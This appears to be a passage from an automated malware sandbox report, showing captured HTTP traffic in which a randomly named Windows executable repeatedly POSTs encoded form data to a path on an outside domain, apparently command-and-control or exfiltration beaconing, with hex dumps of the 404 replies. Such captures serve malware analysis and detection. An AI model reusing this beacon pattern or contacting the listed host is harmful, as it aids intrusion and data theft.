Nov 5, 2024 15:33:53.247243881 CET	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.11.20	49742	66.198.240.15	80	4732	C:\Program Files (x86)\ewEeQxZDbbRQOQfEtpPMeQHxvpfyAEoqAbaOCWjqwSjTSNvirOQyj\BlltrVxNMs.exe

Timestamp	Bytes transferred	Direction	Data
Nov 5, 2024 15:34:08.607916117 CET	753	OUT	POST /ytnk/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate Accept-Language: en-us Content-Length: 201 Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: no-cache Host: www.abuali-contracting.art Origin: http://www.abuali-contracting.art Referer: http://www.abuali-contracting.art/ytnk/ User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:5.0.1) Gecko/20100101 Firefox/5.0.1 Data Raw: 51 32 5f 34 3d 6a 48 6f 68 30 62 34 4e 57 4b 75 43 6d 76 41 5a 74 6d 45 39 44 38 4a 47 6f 46 73 2b 2f 75 33 75 65 36 67 48 58 76 32 45 4b 61 55 6f 62 31 47 4b 74 39 47 6a 62 6f 68 4a 77 64 4e 36 49 6f 7a 66 6a 55 39 74 39 46 34 49 6a 6d 35 48 41 65 6e 37 41 66 77 36 53 6d 72 42 53 77 53 45 37 41 67 4f 6f 71 71 6d 78 76 33 42 4b 76 74 62 53 36 6e 31 63 67 33 52 5a 71 58 38 37 31 79 2b 35 50 6a 43 35 4a 49 31 66 31 4e 74 73 62 66 54 77 77 2b 37 58 4f 4c 37 47 43 70 74 67 48 6a 58 67 51 4b 78 45 39 70 53 56 73 46 63 51 2b 30 73 43 41 44 34 4c 66 54 32 46 6d 41 4e 48 56 52 71 67 76 78 33 51 51 3d 3d Data Ascii: Q2_4=jHoh0b4NWKuCmvAZtmE9D8JGoFs+/u3ue6gHXv2EKaUob1GKt9GjbohJwdN6IozfjU9t9F4Ijm5HAen7Afw6SmrBSwSE7AgOoqqmxv3BKvtbS6n1cg3RZqX871y+5PjC5JI1f1NtsbfTww+7XOL7GCptgHjXgQKxE9pSVsFcQ+0sCAD4LfT2FmANHVRqgvx3QQ==
Nov 5, 2024 15:34:08.941663027 CET	1289	IN	HTTP/1.1 404 Not Found Date: Tue, 05 Nov 2024 14:34:08 GMT Server: Apache X-Powered-By: PHP/8.1.29 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://abuali-contracting.art/wp-json/>; rel="https://api.w.org/" Strict-Transport-Security: max-age=63072000; includeSubDomains X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Vary: Accept-Encoding Content-Encoding: gzip Content-Length: 24178 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 1f 8b 08 00 00 00 00 00 00 03 ed bd 69 93 e4 c6 91 20 fa 99 6d f6 fe 03 98 34 b2 2b c9 04 12 f7 51 d5 d5 12 59 24 25 ce 36 45 99 9a 92 de 4a 4d 2b 43 02 c8 2a 74 23 13 29 20 b3 0e 96 ea c3 68 24 ad 56 fb 7e c5 ee ce 8a c3 37 1a 99 46 6f 76 4c fb 4b aa ff cd 73 f7 c0 7d 25 f2 e8 6e 72 d4 4d 56 15 10 f0 f0 70 f7 f0 f0 70 8f f3 c1 9b 1f 7e 76 f2 f9 7f fe e1 47 dc f9 72 16 3c bc f7 00 ff 70 ae 1f 1d 0f a2 65 30 e0 02 7b 7e 76 3c b0 a3 01 b7 88 bc a9 7f 75 3c 08 cf 0e 01 76 b9 88 0f c7 e3 f0 6c 21 cc bc f1 3c 7e 6b 80 59 3d db 7d 78 ef 8d 07 33 6f 69 73 ce b9 1d c5 de f2 78 f0 e3 cf 3f e6 cd 01 37 ce be cc ed 99 77 3c b8 f0 bd cb 45 18 2d 07 9c 13 ce 97 de 1c 20 2f 7d 77 79 7e ec 7a 17 be e3 f1 f4 32 e2 fc b9 bf f4 ed 80 8f 1d 3b f0 8e 25 c2 73 ef 8d 37 1e bc c9 f3 dc fb 41 00 df b9 cf e6 1e f7 f8 a3 cf 38 55 30 04 55 90 38 9e b3 fd 30 f6 42 c1 09 67 1c cf 3f fc bf 10 7e e9 2f 03 ef e1 83 31 fb 8b 29 05 5a a2 70 12 2e e3 02 25 f3 d0 9f bb de 15 a3 ba 04 7a e6 cd bd c8 5e 86 51 01 ba 42 c7 c1 fb 9f 7c 06 [TRUNCATED] Data Ascii: i m4+QY$%6EJM+Ct#) h$V~7FovLKs}%nrMVpp~vGr<pe0{~v<u<vl!<~kY=}x3oisx?7w<E- /}wy~z2;%s7A8U0U80Bg?~/1)Zp.%z^QB\|)A)[^/Xc/p>0v7"X>fq3.wFgg8 ql%de>#Y3O'&YQ}x3T7( c18F6`xuRtJ)Ee+W;y~>IFh'KPG/6k<E<pE>%)&jK6b\E-p*4R\/ y$vQjQ]E,F!]b@DvQ(y99yRhI&bn&D7UOp0%S2`RBn/Ej5\|sBx
Nov 5, 2024 15:34:08.941721916 CET	1289	IN	Data Raw: 55 54 d4 55 14 f4 b5 4f 4b 2f f0 16 e7 e1 1c 9b cf 7b 96 ae 6b a2 ae 19 a2 a5 ab f0 2d 08 cf c2 c1 61 de 58 3f 99 d9 67 de 67 93 a7 9e b3 dc a0 90 cb 05 9f 74 63 4f c6 ab 45 10 da 6e fc 64 2c 8b b2 fa 64 2c 1a 4f c6 4e 14 2e 16 9e cb eb 96 69 a8 Data Ascii: UTUOK/{k-aX?ggtcOEnd,d,ON.i<S';<7l?ksO# esXsr&1XmnL7Y}+e~k\?@/A4;-Tyel%dm;#8byE
Nov 5, 2024 15:34:08.941767931 CET	1289	IN	Data Raw: dc 07 20 24 70 32 c0 67 58 86 8b c1 c8 16 a6 21 8e 3d eb a2 c8 29 f2 e2 8a 7b 3f f2 ed 00 10 dd 66 ad 03 1a 60 18 7d 64 83 9a e7 ed 63 78 13 fe dc fb e2 78 79 60 8f 3c 90 08 16 90 cb 69 89 df 99 e1 a8 51 cf 3a 25 a8 ac a5 10 47 ce 31 08 54 00 21 Data Ascii: $p2gX!=){?f`}dcxxy`<iQ:%G1T!~Sxs\hXMba{.Q\|s"GV\|1)oCw??o2FY\|v./`gG <[fjL^,%>c9gi
Nov 5, 2024 15:34:08.941808939 CET	1289	IN	Data Raw: 23 81 23 fb c2 e3 8a 9e b8 5a 8f e8 14 b9 51 b8 e0 a7 3e 8e b7 1f 4e 82 55 74 20 e9 8b ab 21 17 db e0 73 a1 2f 2c 99 e2 db c3 a3 cd 20 cf 48 f6 40 4a 00 7c bd a5 d9 f8 9f 2a 1e b1 4a a0 c6 7e 54 ae 10 75 71 75 54 16 c3 51 49 ca 49 5f 2c 8b 00 f7 Data Ascii: ##ZQ>NUt !s/, H@J\|J~TuquTQII_,<<)'HQh!b^!$ZzG5g#!XF<Opqs8lxD<oC%sW\BOiM1V1\|kh IumqS}5Azf.=^kx/
Nov 5, 2024 15:34:08.941850901 CET	1289	IN	Data Raw: b4 f9 f2 cf fb 1c 79 f0 c7 f7 c1 a2 b0 c5 e2 0d e2 c1 f5 c0 6c 03 53 4b 45 66 00 2d 23 6a c5 26 5d 9c 49 cb f2 81 5a a7 81 66 52 04 01 ac cf 48 a6 da 9b da ab 80 59 99 b6 29 5c 1c b9 6d 2c b8 0a 5f 9e 31 6f a6 75 d4 86 68 dd bc 77 4e f6 66 b3 7f Data Ascii: ylSKEf-#j&]IZfRHY)\m,_1ouhwNf}TKTLiBe2a:Zn9{X1TkfZ-i,4'^YgzCn2B\|p NK+._6Tj`}EH`C)#%nfjrT; \%))T
Nov 5, 2024 15:34:08.941891909 CET	1289	IN	Data Raw: 17 5b 1a 73 3d 12 17 40 14 0d 67 62 1f 35 7f e6 f9 e8 6c 72 28 8e 24 59 1d 49 a6 de 06 85 0e 07 74 e8 92 88 e8 f4 89 2d ad 05 cc 10 8b c6 48 d2 d7 c1 cb 84 58 b3 4d 63 2d 60 8a d8 02 dc 8a 56 04 4f bc 0e 36 1a 48 8b ac 70 8c 8a 41 24 2b 03 ae e7 Data Ascii: [s=@gb5lr($YIt-HXMc-`VO6HpA$+.<a;mdy$dYIh$k,%czH.M8mqz0l'np;ogbt:UZ3-I<9)5<\|U^Q7\0%i6Vq
Nov 5, 2024 15:34:08.941932917 CET	1289	IN	Data Raw: 10 c7 0c db d4 d2 34 bd a5 f9 9c 7b 57 e0 87 3b 3e 8e 31 81 94 0d 53 34 5b b8 4d ad 29 b4 32 ab ca 67 16 28 d7 06 60 b2 31 99 94 b3 96 a0 39 3a 9b d8 07 fa 48 52 8d 91 2c 1b 23 69 c8 89 6f 63 e2 81 a4 69 23 08 a6 65 59 1d e2 e1 76 10 a9 b4 15 5d Data Ascii: 4{W;>1S4[M)2g(`19:HR,#ioci#eYv]5yE^8L1+^9qm)h9 k2\$1IVd.RE%rEc}PlY1GOQG+CQ_DYgeXFUo9(CO03H
Nov 5, 2024 15:34:08.941975117 CET	1289	IN	Data Raw: 4f b4 46 9f 66 30 69 6f 19 f7 b0 70 47 15 80 b2 b3 2a 29 2a 3f e2 4a 1b 43 39 19 7c 8b f6 fc 04 94 23 60 47 73 72 c5 bd a6 6b 10 b0 d5 71 80 a1 ba a0 8d 4b 8e bf 29 23 a3 95 29 15 0a 59 5a 71 b3 4b a1 a0 21 94 f4 6e 26 8c 74 49 37 2e e0 03 ca d0 Data Ascii: OFf0iopG)?JC9\|#`GsrkqK)#)YZqK!n&tI7.o0b;%\|k$sR+V7YHZ6LlxUQmb8E["-V_j7V,Z$VN&:.k=ur."nsuvQag6WI)
Nov 5, 2024 15:34:08.942018032 CET	1289	IN	Data Raw: 4a 56 7c d9 4b f4 b9 05 f2 fe 51 e7 16 c8 7b 44 9b 5b 60 ed 19 65 6e 81 79 8b e8 72 8b 52 76 8b 2a 77 2f b0 7f 34 b9 4d 59 db 44 91 5b 57 d5 46 d1 e3 b6 aa b6 51 d4 b8 35 2b fd a3 c5 ad 8b e8 15 25 6e 81 bd 77 74 b8 8d f1 eb 15 15 6e 53 b5 7d a2 Data Ascii: JV\|KQ{D[`enyrRvw/4MYD[WFQ5+%nwtnS}-nnv}oBE{[`mw}tFu[_4QVXmtGm[zNHEi~$5vm(l[a@#V=(k[]wMCyI7I}Q;
Nov 5, 2024 15:34:08.942059994 CET	1289	IN	Data Raw: 9b 51 b6 51 2a f5 ea 66 f1 36 77 69 aa 4d 75 15 62 2a 4d 56 1d 6f 22 99 9a 67 ab b2 68 81 e3 2b ed 6e 90 0b b3 4b fd b8 92 f7 2f 28 79 6b 41 ad 0b 28 1a 22 8a 2e 8b 9d c9 1d ba 1e c5 51 3d cb b5 dc 09 c8 1f 24 ad 99 10 da 4d 25 f8 6b ea b6 f8 e2 Data Ascii: QQf6wiMubMVo"gh+nK/(ykA(".Q=$M%k^c+%tE4G4S*]miH{E~N\|/NQY Bm5e2-EIN4M[V1tTu-td7dd1)t:u[6Hgyj]cJF{PB<l[#;(]EAE
Nov 5, 2024 15:34:09.060323000 CET	1289	IN	Data Raw: 82 fb b3 cf 7f e0 7f fa 39 a4 2f a3 95 97 81 02 f6 a9 7f 86 d0 45 e9 c1 e7 6a ed 7f 34 77 b7 d1 80 dc 22 65 55 69 2f 7c e1 52 08 a3 b3 f1 80 d9 9c fc 4b ab ce 3f 8d c3 39 80 8f 1f 16 f0 7d e4 fa cb 1f ff e8 93 01 b7 bc 5e 78 c7 03 7b b1 08 7c 87 Data Ascii: 9/Ej4w"eUi/\|RK?9}^x{\|\|q] ?za Wp;d@i: : .a4fx<)8?8tA^y2JXHLBap3rf/@3;t\|=xo`.#eu97S

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.11.20	49743	66.198.240.15	80	4732	C:\Program Files (x86)\ewEeQxZDbbRQOQfEtpPMeQHxvpfyAEoqAbaOCWjqwSjTSNvirOQyj\BlltrVxNMs.exe

Timestamp	Bytes transferred	Direction	Data
Nov 5, 2024 15:34:11.254879951 CET	773	OUT	POST /ytnk/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate Accept-Language: en-us Content-Length: 221 Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: no-cache Host: www.abuali-contracting.art Origin: http://www.abuali-contracting.art Referer: http://www.abuali-contracting.art/ytnk/ User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:5.0.1) Gecko/20100101 Firefox/5.0.1 Data Raw: 51 32 5f 34 3d 6a 48 6f 68 30 62 34 4e 57 4b 75 43 6e 4f 77 5a 68 68 51 39 49 38 49 30 74 46 73 2b 31 4f 33 71 65 36 6b 48 58 72 6d 55 4b 73 45 6f 61 58 65 4b 75 38 47 6a 4c 34 68 4a 34 39 4e 37 43 49 79 79 6a 55 78 6c 39 41 51 49 6a 6c 46 48 41 63 76 37 41 6f 45 35 41 47 72 48 55 77 53 61 32 67 67 4f 6f 71 71 6d 78 76 6a 76 4b 75 4a 62 54 4b 33 31 64 45 6a 53 54 4b 58 37 72 46 79 2b 76 2f 6a 47 35 4a 4a 6d 66 77 55 6c 73 65 62 54 77 78 4f 37 57 63 7a 36 64 53 6f 48 2b 33 69 6d 6d 6b 54 2b 43 39 46 75 63 4c 39 30 56 65 78 51 44 57 53 69 57 74 6e 53 47 31 63 2f 44 6c 6f 43 69 74 77 73 4e 62 32 6c 48 4f 65 54 2f 39 43 2b 2f 57 50 72 4f 6d 50 53 4c 4d 38 3d Data Ascii: Q2_4=jHoh0b4NWKuCnOwZhhQ9I8I0tFs+1O3qe6kHXrmUKsEoaXeKu8GjL4hJ49N7CIyyjUxl9AQIjlFHAcv7AoE5AGrHUwSa2ggOoqqmxvjvKuJbTK31dEjSTKX7rFy+v/jG5JJmfwUlsebTwxO7Wcz6dSoH+3immkT+C9FucL90VexQDWSiWtnSG1c/DloCitwsNb2lHOeT/9C+/WPrOmPSLM8=
Nov 5, 2024 15:34:11.580182076 CET	1289	IN	HTTP/1.1 404 Not Found Date: Tue, 05 Nov 2024 14:34:11 GMT Server: Apache X-Powered-By: PHP/8.1.29 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://abuali-contracting.art/wp-json/>; rel="https://api.w.org/" Strict-Transport-Security: max-age=63072000; includeSubDomains X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Vary: Accept-Encoding Content-Encoding: gzip Content-Length: 24178 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 1f 8b 08 00 00 00 00 00 00 03 ed bd 69 93 e4 c6 91 20 fa 99 6d f6 fe 03 98 34 b2 2b c9 04 12 f7 51 d5 d5 12 59 24 25 ce 36 45 99 9a 92 de 4a 4d 2b 43 02 c8 2a 74 23 13 29 20 b3 0e 96 ea c3 68 24 ad 56 fb 7e c5 ee ce 8a c3 37 1a 99 46 6f 76 4c fb 4b aa ff cd 73 f7 c0 7d 25 f2 e8 6e 72 d4 4d 56 15 10 f0 f0 70 f7 f0 f0 70 8f f3 c1 9b 1f 7e 76 f2 f9 7f fe e1 47 dc f9 72 16 3c bc f7 00 ff 70 ae 1f 1d 0f a2 65 30 e0 02 7b 7e 76 3c b0 a3 01 b7 88 bc a9 7f 75 3c 08 cf 0e 01 76 b9 88 0f c7 e3 f0 6c 21 cc bc f1 3c 7e 6b 80 59 3d db 7d 78 ef 8d 07 33 6f 69 73 ce b9 1d c5 de f2 78 f0 e3 cf 3f e6 cd 01 37 ce be cc ed 99 77 3c b8 f0 bd cb 45 18 2d 07 9c 13 ce 97 de 1c 20 2f 7d 77 79 7e ec 7a 17 be e3 f1 f4 32 e2 fc b9 bf f4 ed 80 8f 1d 3b f0 8e 25 c2 73 ef 8d 37 1e bc c9 f3 dc fb 41 00 df b9 cf e6 1e f7 f8 a3 cf 38 55 30 04 55 90 38 9e b3 fd 30 f6 42 c1 09 67 1c cf 3f fc bf 10 7e e9 2f 03 ef e1 83 31 fb 8b 29 05 5a a2 70 12 2e e3 02 25 f3 d0 9f bb de 15 a3 ba 04 7a e6 cd bd c8 5e 86 51 01 ba 42 c7 c1 fb 9f 7c 06 [TRUNCATED] Data Ascii: i m4+QY$%6EJM+Ct#) h$V~7FovLKs}%nrMVpp~vGr<pe0{~v<u<vl!<~kY=}x3oisx?7w<E- /}wy~z2;%s7A8U0U80Bg?~/1)Zp.%z^QB\|)A)[^/Xc/p>0v7"X>fq3.wFgg8 ql%de>#Y3O'&YQ}x3T7( c18F6`xuRtJ)Ee+W;y~>IFh'KPG/6k<E<pE>%)&jK6b\E-p*4R\/ y$vQjQ]E,F!]b@DvQ(y99yRhI&bn&D7UOp0%S2`RBn/Ej5\|sBx
Nov 5, 2024 15:34:11.580240965 CET	1289	IN	Data Raw: 55 54 d4 55 14 f4 b5 4f 4b 2f f0 16 e7 e1 1c 9b cf 7b 96 ae 6b a2 ae 19 a2 a5 ab f0 2d 08 cf c2 c1 61 de 58 3f 99 d9 67 de 67 93 a7 9e b3 dc a0 90 cb 05 9f 74 63 4f c6 ab 45 10 da 6e fc 64 2c 8b b2 fa 64 2c 1a 4f c6 4e 14 2e 16 9e cb eb 96 69 a8 Data Ascii: UTUOK/{k-aX?ggtcOEnd,d,ON.i<S';<7l?ksO# esXsr&1XmnL7Y}+e~k\?@/A4;-Tyel%dm;#8byE
Nov 5, 2024 15:34:11.580288887 CET	1289	IN	Data Raw: dc 07 20 24 70 32 c0 67 58 86 8b c1 c8 16 a6 21 8e 3d eb a2 c8 29 f2 e2 8a 7b 3f f2 ed 00 10 dd 66 ad 03 1a 60 18 7d 64 83 9a e7 ed 63 78 13 fe dc fb e2 78 79 60 8f 3c 90 08 16 90 cb 69 89 df 99 e1 a8 51 cf 3a 25 a8 ac a5 10 47 ce 31 08 54 00 21 Data Ascii: $p2gX!=){?f`}dcxxy`<iQ:%G1T!~Sxs\hXMba{.Q\|s"GV\|1)oCw??o2FY\|v./`gG <[fjL^,%>c9gi
Nov 5, 2024 15:34:11.580329895 CET	1289	IN	Data Raw: 23 81 23 fb c2 e3 8a 9e b8 5a 8f e8 14 b9 51 b8 e0 a7 3e 8e b7 1f 4e 82 55 74 20 e9 8b ab 21 17 db e0 73 a1 2f 2c 99 e2 db c3 a3 cd 20 cf 48 f6 40 4a 00 7c bd a5 d9 f8 9f 2a 1e b1 4a a0 c6 7e 54 ae 10 75 71 75 54 16 c3 51 49 ca 49 5f 2c 8b 00 f7 Data Ascii: ##ZQ>NUt !s/, H@J\|J~TuquTQII_,<<)'HQh!b^!$ZzG5g#!XF<Opqs8lxD<oC%sW\BOiM1V1\|kh IumqS}5Azf.=^kx/
Nov 5, 2024 15:34:11.580373049 CET	1289	IN	Data Raw: b4 f9 f2 cf fb 1c 79 f0 c7 f7 c1 a2 b0 c5 e2 0d e2 c1 f5 c0 6c 03 53 4b 45 66 00 2d 23 6a c5 26 5d 9c 49 cb f2 81 5a a7 81 66 52 04 01 ac cf 48 a6 da 9b da ab 80 59 99 b6 29 5c 1c b9 6d 2c b8 0a 5f 9e 31 6f a6 75 d4 86 68 dd bc 77 4e f6 66 b3 7f Data Ascii: ylSKEf-#j&]IZfRHY)\m,_1ouhwNf}TKTLiBe2a:Zn9{X1TkfZ-i,4'^YgzCn2B\|p NK+._6Tj`}EH`C)#%nfjrT; \%))T
Nov 5, 2024 15:34:11.580414057 CET	1289	IN	Data Raw: 17 5b 1a 73 3d 12 17 40 14 0d 67 62 1f 35 7f e6 f9 e8 6c 72 28 8e 24 59 1d 49 a6 de 06 85 0e 07 74 e8 92 88 e8 f4 89 2d ad 05 cc 10 8b c6 48 d2 d7 c1 cb 84 58 b3 4d 63 2d 60 8a d8 02 dc 8a 56 04 4f bc 0e 36 1a 48 8b ac 70 8c 8a 41 24 2b 03 ae e7 Data Ascii: [s=@gb5lr($YIt-HXMc-`VO6HpA$+.<a;mdy$dYIh$k,%czH.M8mqz0l'np;ogbt:UZ3-I<9)5<\|U^Q7\0%i6Vq
Nov 5, 2024 15:34:11.580457926 CET	1289	IN	Data Raw: 10 c7 0c db d4 d2 34 bd a5 f9 9c 7b 57 e0 87 3b 3e 8e 31 81 94 0d 53 34 5b b8 4d ad 29 b4 32 ab ca 67 16 28 d7 06 60 b2 31 99 94 b3 96 a0 39 3a 9b d8 07 fa 48 52 8d 91 2c 1b 23 69 c8 89 6f 63 e2 81 a4 69 23 08 a6 65 59 1d e2 e1 76 10 a9 b4 15 5d Data Ascii: 4{W;>1S4[M)2g(`19:HR,#ioci#eYv]5yE^8L1+^9qm)h9 k2\$1IVd.RE%rEc}PlY1GOQG+CQ_DYgeXFUo9(CO03H
Nov 5, 2024 15:34:11.580499887 CET	1289	IN	Data Raw: 4f b4 46 9f 66 30 69 6f 19 f7 b0 70 47 15 80 b2 b3 2a 29 2a 3f e2 4a 1b 43 39 19 7c 8b f6 fc 04 94 23 60 47 73 72 c5 bd a6 6b 10 b0 d5 71 80 a1 ba a0 8d 4b 8e bf 29 23 a3 95 29 15 0a 59 5a 71 b3 4b a1 a0 21 94 f4 6e 26 8c 74 49 37 2e e0 03 ca d0 Data Ascii: OFf0iopG)?JC9\|#`GsrkqK)#)YZqK!n&tI7.o0b;%\|k$sR+V7YHZ6LlxUQmb8E["-V_j7V,Z$VN&:.k=ur."nsuvQag6WI)
Nov 5, 2024 15:34:11.580542088 CET	1289	IN	Data Raw: 4a 56 7c d9 4b f4 b9 05 f2 fe 51 e7 16 c8 7b 44 9b 5b 60 ed 19 65 6e 81 79 8b e8 72 8b 52 76 8b 2a 77 2f b0 7f 34 b9 4d 59 db 44 91 5b 57 d5 46 d1 e3 b6 aa b6 51 d4 b8 35 2b fd a3 c5 ad 8b e8 15 25 6e 81 bd 77 74 b8 8d f1 eb 15 15 6e 53 b5 7d a2 Data Ascii: JV\|KQ{D[`enyrRvw/4MYD[WFQ5+%nwtnS}-nnv}oBE{[`mw}tFu[_4QVXmtGm[zNHEi~$5vm(l[a@#V=(k[]wMCyI7I}Q;
Nov 5, 2024 15:34:11.580584049 CET	1289	IN	Data Raw: 9b 51 b6 51 2a f5 ea 66 f1 36 77 69 aa 4d 75 15 62 2a 4d 56 1d 6f 22 99 9a 67 ab b2 68 81 e3 2b ed 6e 90 0b b3 4b fd b8 92 f7 2f 28 79 6b 41 ad 0b 28 1a 22 8a 2e 8b 9d c9 1d ba 1e c5 51 3d cb b5 dc 09 c8 1f 24 ad 99 10 da 4d 25 f8 6b ea b6 f8 e2 Data Ascii: QQf6wiMubMVo"gh+nK/(ykA(".Q=$M%k^c+%tE4G4S*]miH{E~N\|/NQY Bm5e2-EIN4M[V1tTu-td7dd1)t:u[6Hgyj]cJF{PB<l[#;(]EAE
Nov 5, 2024 15:34:11.698688030 CET	1289	IN	Data Raw: 82 fb b3 cf 7f e0 7f fa 39 a4 2f a3 95 97 81 02 f6 a9 7f 86 d0 45 e9 c1 e7 6a ed 7f 34 77 b7 d1 80 dc 22 65 55 69 2f 7c e1 52 08 a3 b3 f1 80 d9 9c fc 4b ab ce 3f 8d c3 39 80 8f 1f 16 f0 7d e4 fa cb 1f ff e8 93 01 b7 bc 5e 78 c7 03 7b b1 08 7c 87 Data Ascii: 9/Ej4w"eUi/\|RK?9}^x{\|\|q] ?za Wp;d@i: : .a4fx<)8?8tA^y2JXHLBap3rf/@3;t\|=xo`.#eu97S

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.11.20	49744	66.198.240.15	80	4732	C:\Program Files (x86)\ewEeQxZDbbRQOQfEtpPMeQHxvpfyAEoqAbaOCWjqwSjTSNvirOQyj\BlltrVxNMs.exe

Timestamp	Bytes transferred	Direction	Data
Nov 5, 2024 15:34:13.911338091 CET	7922	OUT	POST /ytnk/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate Accept-Language: en-us Content-Length: 7369 Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: no-cache Host: www.abuali-contracting.art Origin: http://www.abuali-contracting.art Referer: http://www.abuali-contracting.art/ytnk/ User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:5.0.1) Gecko/20100101 Firefox/5.0.1 Data Raw: 51 32 5f 34 3d 6a 48 6f 68 30 62 34 4e 57 4b 75 43 6e 4f 77 5a 68 68 51 39 49 38 49 30 74 46 73 2b 31 4f 33 71 65 36 6b 48 58 72 6d 55 4b 73 4d 6f 61 6b 57 4b 73 65 75 6a 5a 6f 68 4a 79 64 4e 32 43 49 7a 77 6a 55 35 68 39 41 55 69 6a 67 4a 48 44 35 6a 37 52 39 6f 35 4b 47 72 48 59 51 53 62 37 41 68 47 6f 71 37 76 78 76 7a 76 4b 75 4a 62 54 4d 7a 31 61 51 33 53 41 61 58 38 37 31 79 4d 35 50 6a 2b 35 4a 67 54 66 30 4a 48 73 74 6a 54 78 52 65 37 56 76 4c 36 41 43 70 68 2f 33 69 2b 6d 68 4b 2b 43 39 5a 59 63 4c 68 65 56 64 68 51 42 6a 7a 41 44 4a 54 2b 51 56 55 45 65 32 52 30 75 63 6f 5a 44 4a 65 73 48 50 32 43 2f 64 65 4f 32 58 76 4c 4e 46 58 43 55 4d 2f 2b 53 6b 71 75 6c 4a 62 39 45 50 78 48 2b 31 50 4d 39 4e 5a 6e 70 42 52 34 68 7a 6c 6e 32 54 68 4b 61 78 67 69 76 48 41 4a 33 36 4d 47 68 74 6a 39 4b 6b 39 6d 48 4b 42 47 4e 70 37 44 6e 4d 46 63 4b 69 41 77 62 4c 6a 41 32 6b 2b 6c 6b 67 7a 64 39 46 57 54 4d 58 45 59 54 53 77 74 78 32 4d 4d 6a 6b 48 52 74 38 30 2f 33 6d 51 4d 59 2f 59 63 45 39 57 74 65 [TRUNCATED] Data Ascii: Q2_4=jHoh0b4NWKuCnOwZhhQ9I8I0tFs+1O3qe6kHXrmUKsMoakWKseujZohJydN2CIzwjU5h9AUijgJHD5j7R9o5KGrHYQSb7AhGoq7vxvzvKuJbTMz1aQ3SAaX871yM5Pj+5JgTf0JHstjTxRe7VvL6ACph/3i+mhK+C9ZYcLheVdhQBjzADJT+QVUEe2R0ucoZDJesHP2C/deO2XvLNFXCUM/+SkqulJb9EPxH+1PM9NZnpBR4hzln2ThKaxgivHAJ36MGhtj9Kk9mHKBGNp7DnMFcKiAwbLjA2k+lkgzd9FWTMXEYTSwtx2MMjkHRt80/3mQMY/YcE9Wte4wbKgG5GSql0Ty05B7Soh5vwKQiqemm+S/3WfNONNSQuk04psmg1TaEVQX8ifDPN3B38v4IIxOiDyC5vXy6cf5OPz8ZBGa1soT/bWDCbAo8HocSKO4oe9MUGdT1ZjlNbivsqrdbT8m0zGb5OS4cGimNNx6Zcx1QfBJJ6C7L5g8QDx0yyQewP4XUDjxg7vZVzBme5cSxojoIPdjZC9KXrQ7eh0Bi2x7WwlJ9+soI6/Lc0ybIL93SwG9jGtYvj3ufuZuflaqU0d9eVvA9XzpmMZ6yanWouaZR4TOTuQV8/7fjwhJSuHegayycqzMJErNiTGWWxX6eMd4W3k6JY2L3XKVxl6ryHYLhguUdf6BfVu07/svRNNhLnwS4I4SP1nKb7KtaBqSt8/XisCDHpcgS8tTDXU60J6WycWwGJCc9EvZ8nTkRPGyTH+Cd9YDAYYAK7V8xUhnvo+cyd5Do35SizoDsmQd0PjjjiUgkFpit6q3fTRLNN8YU+8SeRJNE/QZFh1VzYQnaJAuRX1Zxb7W4Z5/C3mYBtNJkfl6uATJCwEVVTLU439BsGdfTfAb0N2Ah8EIS8EA8+YkTQIfePrFow54P7WObVO49ZQ1ZVBFcbvODr2Z4mAYy1tyhDqmYMsMFlcd9eTNeqo00+OhJmXSDdGuAEKaMuFwBkzT [TRUNCATED]
Nov 5, 2024 15:34:14.253125906 CET	1289	IN	HTTP/1.1 404 Not Found Date: Tue, 05 Nov 2024 14:34:13 GMT Server: Apache X-Powered-By: PHP/8.1.29 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://abuali-contracting.art/wp-json/>; rel="https://api.w.org/" Strict-Transport-Security: max-age=63072000; includeSubDomains X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Vary: Accept-Encoding Content-Encoding: gzip Content-Length: 24178 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 1f 8b 08 00 00 00 00 00 00 03 ed bd 69 93 e4 c6 91 20 fa 99 6d f6 fe 03 98 34 b2 2b c9 04 12 f7 51 d5 d5 12 59 24 25 ce 36 45 99 9a 92 de 4a 4d 2b 43 02 c8 2a 74 23 13 29 20 b3 0e 96 ea c3 68 24 ad 56 fb 7e c5 ee ce 8a c3 37 1a 99 46 6f 76 4c fb 4b aa ff cd 73 f7 c0 7d 25 f2 e8 6e 72 d4 4d 56 15 10 f0 f0 70 f7 f0 f0 70 8f f3 c1 9b 1f 7e 76 f2 f9 7f fe e1 47 dc f9 72 16 3c bc f7 00 ff 70 ae 1f 1d 0f a2 65 30 e0 02 7b 7e 76 3c b0 a3 01 b7 88 bc a9 7f 75 3c 08 cf 0e 01 76 b9 88 0f c7 e3 f0 6c 21 cc bc f1 3c 7e 6b 80 59 3d db 7d 78 ef 8d 07 33 6f 69 73 ce b9 1d c5 de f2 78 f0 e3 cf 3f e6 cd 01 37 ce be cc ed 99 77 3c b8 f0 bd cb 45 18 2d 07 